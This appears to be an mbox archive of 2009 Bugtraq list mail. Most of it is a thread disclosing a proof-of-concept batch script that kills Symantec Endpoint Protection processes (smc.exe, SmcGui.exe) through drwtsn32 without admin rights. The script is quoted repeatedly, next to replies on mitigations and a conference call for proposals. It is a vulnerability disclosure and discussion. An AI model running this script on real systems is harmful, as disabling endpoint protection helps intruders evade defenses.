Thank you.

Regards, Sandeep

--------------------------------------------------
From: "Sandeep Cheema" <51l3n7@live.in>
Sent: Friday, February 13, 2009 8:06 PM
To: <bugtraq@securityfocus.com>
Subject: Re: SEPKILL /im SMC.EXE /f

> For the "users" its working for SmcGUI.exe
>
> Please find the code as below.
>
> :here
> tasklist | find /i "SmcGui.exe" > c:\pid.txt
> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
> drwtsn32 -p %pidopt%
> goto :here
>
> I have tried it and when let this file run for around 2 mins, The 
> SmcGui.exe process loads up when you logoff and log back in (or 
> restart)but the icon does not show up in the taskbar.
>
> Thank you.
>
> Regards, Sandeep
>
> --------------------------------------------------
> From: "Sandeep Cheema" <51l3n7@live.in>
> Sent: Friday, February 13, 2009 7:03 PM
> To: <bugtraq@securityfocus.com>
> Subject: Re: SEPKILL /im SMC.EXE /f
>
>> As an update its not happening for "Users" account, Though no access 
>> denied.
>>
>> Anyone knows why?
>>
>> Thank you.
>>
>> Regards, Sandeep
>>
>> --------------------------------------------------
>> From: "Sandeep Cheema" <51l3n7@live.in>
>> Sent: Friday, February 13, 2009 6:18 PM
>> To: <bugtraq@securityfocus.com>
>> Subject: SEPKILL /im SMC.EXE /f
>>
>>> Hi,
>>>
>>> Probably this bug exists on majorly all the software's but security 
>>> software's like antivirus and firewall have to bucket it which is not 
>>> what its for SEP.
>>> I have tested it on all versions of SEP from 11.0.776 to 11.0.4000(XP 
>>> and 2k3)
>>>
>>>
>>> You can kill smc.exe with the help of drwtsn32.exe in the following way.
>>>
>>> drwtsn32 -p %pid%
>>> where pid is the process id for smc.exe
>>>
>>> POC:
>>>
>>> Save the following as a batch file and execute it
>>>
>>> tasklist | find /i "Smc.exe" > c:\pid.txt
>>> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
>>> drwtsn32 -p %pidopt%
>>>
>>>
>>>
>>> You don't need admin privilege for this exploit.
>>>
>>> This will even bypass the password if it has been set to stop the 
>>> service.
>>> If executed from the command line in the form drwtsn32 -p %pid% , the 
>>> command will be executed and it takes some time for the process to be 
>>> stopped.
>>> If done from a batch file the command is completed only when the process 
>>> is stopped.
>>>
>>> Regards, Sandeep
>>> 51l3n7[at]live.in
>>>
>>>
>>> 

From - Fri Feb 13 15:08:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000623d
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39481-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 0C2ECED924
for <lists@securityspace.com>; Fri, 13 Feb 2009 15:01:08 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id D3B461439A8; Fri, 13 Feb 2009 11:28:40 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 5674 invoked from network); 13 Feb 2009 17:44:52 -0000
Date: Fri, 13 Feb 2009 11:14:08 -0700
Message-Id: <200902131814.n1DIE8jB000605@www3.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: sc0ttbeardsley@gmail.com
To: bugtraq@securityfocus.com
Subject: Re: Enomaly ECP/Enomalism: Silent update remote command execution
 vulnerability
Status:   

Can't you just disable their "ECP VMCasting Production Module Feed" to prevent this behavior?

From - Fri Feb 13 15:18:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000623e
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39482-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 177C8EDA97
for <lists@securityspace.com>; Fri, 13 Feb 2009 15:14:09 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 0CFD4236F6C; Fri, 13 Feb 2009 13:09:45 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 12124 invoked from network); 13 Feb 2009 19:17:23 -0000
X-Originating-IP: [122.167.10.219]
X-Originating-Email: [51l3n7@live.in]
Message-ID: <SNT107-DS13F5B92EEE57672B02DAB6C7B80@phx.gbl>
From: "Sandeep Cheema" <51l3n7@live.in>
To: "David Calabro" <dcalabro@transitionalwork.org>,
<bugtraq@securityfocus.com>
References: <SNT107-DS1897FC53EB107A4057C84DC7B80@phx.gbl> <C8B6D9C849DD8F4E8FD7E906FD3A712E2BECA2E4D0@MAIL2.transitionalwork.local>
In-Reply-To: <C8B6D9C849DD8F4E8FD7E906FD3A712E2BECA2E4D0@MAIL2.transitionalwork.local>
Subject: Re: SEPKILL /im SMC.EXE /f
Date: Sat, 14 Feb 2009 01:18:29 +0530
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="iso-8859-1";
reply-type=original
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 14.0.8050.1202
X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8050.1202
X-OriginalArrivalTime: 13 Feb 2009 19:46:39.0454 (UTC) FILETIME=[C998FFE0:01C98E13]
Status:   

You are right, but that will require admin privilege. Isn't it ?

Regards, Sandeep

--------------------------------------------------
From: "David Calabro" <dcalabro@transitionalwork.org>
Sent: Saturday, February 14, 2009 1:02 AM
To: "'Sandeep Cheema'" <51l3n7@live.in>; <bugtraq@securityfocus.com>
Subject: RE: SEPKILL /im SMC.EXE /f

> If the Symantec Management Client service was somehow changed from 
> "smc.exe" to "smc.exe -P" it would effectively prevent the service from 
> starting in the first place. Correct?
>
> -----Original Message-----
> From: Sandeep Cheema [mailto:51l3n7@live.in]
> Sent: Friday, February 13, 2009 12:25 PM
> To: bugtraq@securityfocus.com
> Subject: Re: SEPKILL /im SMC.EXE /f
>
> Just as an update  couldn't get any further other than t.he fact that
> SMCGui.exe is getting killed as its running in the user account and 
> SMC.exe
> in the system account.
>
> Thank you.
>
> Regards, Sandeep
>
> --------------------------------------------------
> From: "Sandeep Cheema" <51l3n7@live.in>
> Sent: Friday, February 13, 2009 8:06 PM
> To: <bugtraq@securityfocus.com>
> Subject: Re: SEPKILL /im SMC.EXE /f
>
>> For the "users" its working for SmcGUI.exe
>>
>> Please find the code as below.
>>
>> :here
>> tasklist | find /i "SmcGui.exe" > c:\pid.txt
>> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
>> drwtsn32 -p %pidopt%
>> goto :here
>>
>> I have tried it and when let this file run for around 2 mins, The
>> SmcGui.exe process loads up when you logoff and log back in (or
>> restart)but the icon does not show up in the taskbar.
>>
>> Thank you.
>>
>> Regards, Sandeep
>>
>> --------------------------------------------------
>> From: "Sandeep Cheema" <51l3n7@live.in>
>> Sent: Friday, February 13, 2009 7:03 PM
>> To: <bugtraq@securityfocus.com>
>> Subject: Re: SEPKILL /im SMC.EXE /f
>>
>>> As an update its not happening for "Users" account, Though no access
>>> denied.
>>>
>>> Anyone knows why?
>>>
>>> Thank you.
>>>
>>> Regards, Sandeep
>>>
>>> --------------------------------------------------
>>> From: "Sandeep Cheema" <51l3n7@live.in>
>>> Sent: Friday, February 13, 2009 6:18 PM
>>> To: <bugtraq@securityfocus.com>
>>> Subject: SEPKILL /im SMC.EXE /f
>>>
>>>> Hi,
>>>>
>>>> Probably this bug exists on majorly all the software's but security
>>>> software's like antivirus and firewall have to bucket it which is not
>>>> what its for SEP.
>>>> I have tested it on all versions of SEP from 11.0.776 to 11.0.4000(XP
>>>> and 2k3)
>>>>
>>>>
>>>> You can kill smc.exe with the help of drwtsn32.exe in the following 
>>>> way.
>>>>
>>>> drwtsn32 -p %pid%
>>>> where pid is the process id for smc.exe
>>>>
>>>> POC:
>>>>
>>>> Save the following as a batch file and execute it
>>>>
>>>> tasklist | find /i "Smc.exe" > c:\pid.txt
>>>> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
>>>> drwtsn32 -p %pidopt%
>>>>
>>>>
>>>>
>>>> You don't need admin privilege for this exploit.
>>>>
>>>> This will even bypass the password if it has been set to stop the
>>>> service.
>>>> If executed from the command line in the form drwtsn32 -p %pid% , the
>>>> command will be executed and it takes some time for the process to be
>>>> stopped.
>>>> If done from a batch file the command is completed only when the 
>>>> process
>>>> is stopped.
>>>>
>>>> Regards, Sandeep
>>>> 51l3n7[at]live.in
>>>>
>>>>
>>>>


From - Fri Feb 13 15:28:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000623f
X-Mozilla-Status: 0011
X-Mozilla-Status2: 10000000
Return-Path: <bugtraq-return-39483-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 97DE8EDB72
for <lists@securityspace.com>; Fri, 13 Feb 2009 15:24:31 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 60769236FF3; Fri, 13 Feb 2009 13:12:28 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 11972 invoked from network); 13 Feb 2009 19:13:14 -0000
Content-Type: multipart/mixed;
boundary="_000_C8B6D9C849DD8F4E8FD7E906FD3A712E2BECA2E4D0MAIL2transiti_"
From: David Calabro <dcalabro@transitionalwork.org>
To: "'Sandeep Cheema'" <51l3n7@live.in>,
"'bugtraq@securityfocus.com'" <bugtraq@securityfocus.com>
Date: Fri, 13 Feb 2009 14:32:24 -0500
Subject: RE: SEPKILL /im SMC.EXE /f
Thread-Topic: SEPKILL /im SMC.EXE /f
Thread-Index: AcmOEFfZm3w7e7aLSWm1hLR3jlyCWwAAFYeA
Message-ID: <C8B6D9C849DD8F4E8FD7E906FD3A712E2BECA2E4D0@MAIL2.transitionalwork.local>
References: <SNT107-DS1897FC53EB107A4057C84DC7B80@phx.gbl>
In-Reply-To: <SNT107-DS1897FC53EB107A4057C84DC7B80@phx.gbl>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: <C8B6D9C849DD8F4E8FD7E906FD3A712E2BECA2E4D0@MAIL2.transitionalwork.local>
acceptlanguage: en-US
MIME-Version: 1.0
Status:   

--_000_C8B6D9C849DD8F4E8FD7E906FD3A712E2BECA2E4D0MAIL2transiti_
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

If the Symantec Management Client service was somehow changed from "smc.exe" to "smc.exe -P" it would effectively prevent the service from starting in the first place. Correct?

-----Original Message-----
From: Sandeep Cheema [mailto:51l3n7@live.in] 
Sent: Friday, February 13, 2009 12:25 PM
To: bugtraq@securityfocus.com
Subject: Re: SEPKILL /im SMC.EXE /f

Just as an update  couldn't get any further other than t.he fact that 
SMCGui.exe is getting killed as its running in the user account and SMC.exe 
in the system account.

Thank you.

Regards, Sandeep

--------------------------------------------------
From: "Sandeep Cheema" <51l3n7@live.in>
Sent: Friday, February 13, 2009 8:06 PM
To: <bugtraq@securityfocus.com>
Subject: Re: SEPKILL /im SMC.EXE /f

> For the "users" its working for SmcGUI.exe
>
> Please find the code as below.
>
> :here
> tasklist | find /i "SmcGui.exe" > c:\pid.txt
> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
> drwtsn32 -p %pidopt%
> goto :here
>
> I have tried it and when let this file run for around 2 mins, The 
> SmcGui.exe process loads up when you logoff and log back in (or 
> restart)but the icon does not show up in the taskbar.
>
> Thank you.
>
> Regards, Sandeep
>
> --------------------------------------------------
> From: "Sandeep Cheema" <51l3n7@live.in>
> Sent: Friday, February 13, 2009 7:03 PM
> To: <bugtraq@securityfocus.com>
> Subject: Re: SEPKILL /im SMC.EXE /f
>
>> As an update its not happening for "Users" account, Though no access 
>> denied.
>>
>> Anyone knows why?
>>
>> Thank you.
>>
>> Regards, Sandeep
>>
>> --------------------------------------------------
>> From: "Sandeep Cheema" <51l3n7@live.in>
>> Sent: Friday, February 13, 2009 6:18 PM
>> To: <bugtraq@securityfocus.com>
>> Subject: SEPKILL /im SMC.EXE /f
>>
>>> Hi,
>>>
>>> Probably this bug exists on majorly all the software's but security 
>>> software's like antivirus and firewall have to bucket it which is not 
>>> what its for SEP.
>>> I have tested it on all versions of SEP from 11.0.776 to 11.0.4000(XP 
>>> and 2k3)
>>>
>>>
>>> You can kill smc.exe with the help of drwtsn32.exe in the following way.
>>>
>>> drwtsn32 -p %pid%
>>> where pid is the process id for smc.exe
>>>
>>> POC:
>>>
>>> Save the following as a batch file and execute it
>>>
>>> tasklist | find /i "Smc.exe" > c:\pid.txt
>>> FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
>>> drwtsn32 -p %pidopt%
>>>
>>>
>>>
>>> You don't need admin privilege for this exploit.
>>>
>>> This will even bypass the password if it has been set to stop the 
>>> service.
>>> If executed from the command line in the form drwtsn32 -p %pid% , the 
>>> command will be executed and it takes some time for the process to be 
>>> stopped.
>>> If done from a batch file the command is completed only when the process 
>>> is stopped.
>>>
>>> Regards, Sandeep
>>> 51l3n7[at]live.in
>>>
>>>
>>> 

--_000_C8B6D9C849DD8F4E8FD7E906FD3A712E2BECA2E4D0MAIL2transiti_
Content-Disposition: attachment; filename="winmail.dat"
Content-Transfer-Encoding: base64
Content-Type: application/ms-tnef; name="winmail.dat"

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
IbP9IdBsMEC5IWkGQDQq5Qbw917RKpIkMHm2WakpaQ5qN/+1I2BBZ8JAciHCcebGkVtC5yXVwx+r
E09DYzDIr6DS72yzwgs7UnRhdLQBbqND0v8mETaQjgPKL6mSYQ9iFGKv/2O4ncJkf2WPZp9nr8P/
aa9/vR/Oz76SZ/A8ghhQQXJk/3ABKKGxcR5wGdFbQm5TEDD9C1BvJ2DDD6mDljBAgQPw962hKNI1
4HkKsAQRxvPhIf9awW0xIaAnYRHQXpJt4RIB/yZSH2BoACGzr5ojxLZbIaD3zeUcZl4DbQOBdBFJ
4cG48xsA198lIKHA4+3nVuBT/16w5ihD0idhAZDTwCRUHMD/B3HdlXHIswLkDOOhjuCSqf/l49vx
KdXM2+caQIE3UQtQ/xIQHFECICiBbcPG+qkpQIFf8C+pGpgPqTgxVFsYgF0/McX3T6p8ScUVQv3w
AAAAHwBCAAEAAAAcAAAARABhAHYAaQBkACAAQwBhAGwAYQBiAHIAbwAAAB8AZQABAAAAPAAAAGQA
YwBhAGwAYQBiAHIAbwBAAHQAcgBhAG4AcwBpAHQAaQBvAG4AYQBsAHcAbwByAGsALgBvAHIAZwAA
AB8AZAABAAAACgAAAFMATQBUAFAAAAAAAAIBQQABAAAAegAAAAAAAACBKx+kvqMQGZ1uAN0BD1QC
AAABgEQAYQB2AGkAZAAgAEMAYQBsAGEAYgByAG8AAABTAE0AVABQAAAAZABjAGEAbABhAGIAcgBv
AEAAdAByAGEAbgBzAGkAdABpAG8AbgBhAGwAdwBvAHIAawAuAG8AcgBnAAAAAAAfABoMAQAAABwA
AABEAGEAdgBpAGQAIABDAGEAbABhAGIAcgBvAAAAHwAfDAEAAAA8AAAAZABjAGEAbABhAGIAcgBv
AEAAdAByAGEAbgBzAGkAdABpAG8AbgBhAGwAdwBvAHIAawAuAG8AcgBnAAAAHwAeDAEAAAAKAAAA
UwBNAFQAUAAAAAAAAgEZDAEAAAB6AAAAAAAAAIErH6S+oxAZnW4A3QEPVAIAAAGARABhAHYAaQBk
ACAAQwBhAGwAYQBiAHIAbwAAAFMATQBUAFAAAABkAGMAYQBsAGEAYgByAG8AQAB0AHIAYQBuAHMA
aQB0AGkAbwBuAGEAbAB3AG8AcgBrAC4AbwByAGcAAAAAAB8AGgABAAAAEgAAAEkAUABNAC4ATgBv
AHQAZQAAAAAAAwDxPwkEAAALAEA6AQAAAAMA/T/kBAAAAgELMAEAAAAQAAAAbWURK6hhg0CjKpw6
JJdgFgMAFwABAAAAQAA5AAAUtcsRjskBQAAIMC2nG88RjskBCwACAAEAAAALACMAAAAAAAMAJgAA
AAAACwApAAAAAAALACsAAAAAAAMALgAAAAAAAwA2AAAAAAACAUcAAQAAADYAAABjPVVTO2E9IDtw
PUZpcnN0IE9yZ2FuaXphdGk7bD1NQUlMMi0wOTAyMTMxOTMyMjlaLTI5NAAAAB8AcAABAAAALgAA
AFMARQBQAEsASQBMAEwAIAAvAGkAbQAgAFMATQBDAC4ARQBYAEUAIAAvAGYAAAAAAAIBcQABAAAA
GwAAAAHJjhBX2Zt8O3u2i0lptYS0d45cglsAABWHgAAfADUQAQAAAJQAAAA8AEMAOABCADYARAA5
AEMAOAA0ADkARABEADgARgA0AEUAOABGAEQANwBFADkAMAA2AEYARAAzAEEANwAxADIARQAyAEIA
RQBDAEEAMgBFADQARAAwAEAATQBBAEkATAAyAC4AdAByAGEAbgBzAGkAdABpAG8AbgBhAGwAdwBv
AHIAawAuAGwAbwBjAGEAbAA+AAAAHwA5EAEAAABeAAAAPABTAE4AVAAxADAANwAtAEQAUwAxADgA
OQA3AEYAQwA1ADMARQBCADEAMAA3AEEANAAwADUANwBDADgANABEAEMANwBCADgAMABAAHAAaAB4
AC4AZwBiAGwAPgAAAAAAHwBCEAEAAABeAAAAPABTAE4AVAAxADAANwAtAEQAUwAxADgAOQA3AEYA
QwA1ADMARQBCADEAMAA3AEEANAAwADUANwBDADgANABEAEMANwBCADgAMABAAHAAaAB4AC4AZwBi
AGwAPgAAAAAAAwCAEP////8fAPMQAQAAAEIAAABSAEUAJQAzAEEAIABTAEUAUABLAEkATABMACAA
//hpAG0AIABTAE0AQwAuAEUAWABFACAA//hmAC4ARQBNAEwAAAAAAAsA9BAAAAAACwD1EAAAAAAL
APYQAAAAAEAABzB/KtzNEY7JAQMA3j+fTgAAHwD4PwEAAAAcAAAARABhAHYAaQBkACAAQwBhAGwA
YQBiAHIAbwAAAAIB+T8BAAAAagAAAAAAAADcp0DIwEIQGrS5CAArL+GCAQAAAAAAAAAvTz1GSVJT
VCBPUkdBTklaQVRJT04vT1U9RklSU1QgQURNSU5JU1RSQVRJVkUgR1JPVVAvQ049UkVDSVBJRU5U
Uy9DTj1EQ0FMQUJSTwAAAB8A+j8BAAAAHAAAAEQAYQB2AGkAZAAgAEMAYQBsAGEAYgByAG8AAAAC
Afs/AQAAAGoAAAAAAAAA3KdAyMBCEBq0uQgAKy/hggEAAAAAAAAAL089RklSU1QgT1JHQU5JWkFU
SU9OL09VPUZJUlNUIEFETUlOSVNUUkFUSVZFIEdST1VQL0NOPVJFQ0lQSUVOVFMvQ049RENBTEFC
Uk8AAAADABlAAAAAAAMAGkAAAAAAAwAJWQEAAAADAACACCAGAAAAAADAAAAAAAAARgAAAAAQhQAA
AAAAAAsAAIAIIAYAAAAAAMAAAAAAAABGAAAAAAOFAAAAAAAAQAAAgAggBgAAAAAAwAAAAAAAAEYA
AAAAYIUAAAAI1ugpAAAACwAAgAggBgAAAAAAwAAAAAAAAEYAAAAADoUAAAAAAAADAACACCAGAAAA
AADAAAAAAAAARgAAAAABhQAAAAAAAAMAAIAIIAYAAAAAAMAAAAAAAABGAAAAABiFAAAAAAAACwAA
gAggBgAAAAAAwAAAAAAAAEYAAAAABoUAAAAAAAALAACACCAGAAAAAADAAAAAAAAARgAAAACChQAA
AAAAAAMADTT5PwAAAgEUNAEAAAAQAAAAVJShwCl/EBulhwgAKyolFx8APQABAAAACgAAAFIARQA6
ACAAAAAAAB8ANwABAAAANgAAAFIARQA6ACAAUwBFAFAASwBJAEwATAAgAC8AaQBtACAAUwBNAEMA
LgBFAFgARQAgAC8AZgAAAAAAHwAAgIYDAgAAAAAAwAAAAAAAAEYBAAAAHgAAAGEAYwBjAGUAcAB0
AGwAYQBuAGcAdQBhAGcAZQAAAAAAAQAAAAwAAABlAG4ALQBVAFMAAAAfAACAhgMCAAAAAADAAAAA
AAAARgEAAAAgAAAAeAAtAG0AcwAtAGgAYQBzAC0AYQB0AHQAYQBjAGgAAAABAAAAAgAAAAAAAAB/
Gg=
--_000_C8B6D9C849DD8F4E8FD7E906FD3A712E2BECA2E4D0MAIL2transiti_--

From - Fri Feb 13 15:38:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006240
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39484-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 49D4DEDC2D
for <lists@securityspace.com>; Fri, 13 Feb 2009 15:35:41 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id D9E68237029; Fri, 13 Feb 2009 13:12:48 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 23606 invoked from network); 11 Feb 2009 23:09:41 -0000
Mime-Version: 1.0 (Apple Message framework v753.1)
Content-Transfer-Encoding: 7bit
Message-Id: <08A00F91-C159-4179-A247-376A3C808F9C@cs.ucsb.edu>
Content-Type: text/plain; charset=US-ASCII; format=flowed
To: bugtraq@securityfocus.com
From: Christopher Kruegel <chris@cs.ucsb.edu>
Subject: ACM CCS '09: Call for Workshop Proposals
Date: Wed, 11 Feb 2009 15:37:53 -0800
X-Mailer: Apple Mail (2.753.1)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.0a6 (stamps.cs.ucsb.edu [128.111.41.14]); Wed, 11 Feb 2009 15:38:24 -0800 (PST)
X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on stamps
X-Virus-Status: Clean
X-Spam-Status: No, score=2.6 required=5.0 tests=AWL,BAYES_00,
RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_SORBS_WEB,RCVD_IN_XBL shortcircuit=no
autolearn=no version=3.2.5
X-Spam-Level: **
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on stamps.cs.ucsb.edu
Status:   

=====================================================================Call for Workshop Proposals:
16th ACM Conference on Computer and Communications Security (CCS) 2009

Web page: http://www.sigsac.org/ccs/CCS2009/cfw.shtml
=====================================================================Important Dates:

* Submission deadline: Saturday, February 28, 2009
=====================================================================
Proposals are solicited for workshops to be held in conjunction with
ACM CCS 2009. Each workshop provides a forum to address a specific
topic at the forefront of security research.

A workshop must be a full day in length. Proceedings of all workshops
will be available (on a CD) to the workshop attendees. Each workshop
will also offer on-line proceedings through ACM Digital Library, with
a separate ISBN.


Workshop Proposal Submission
=====================================================================
For new workshops, proposals should include:

* Workshop title
* A draft "Call for Papers" articulating the scope and topics covered
   by the workshop
* A brief summary and justification for the workshop, including
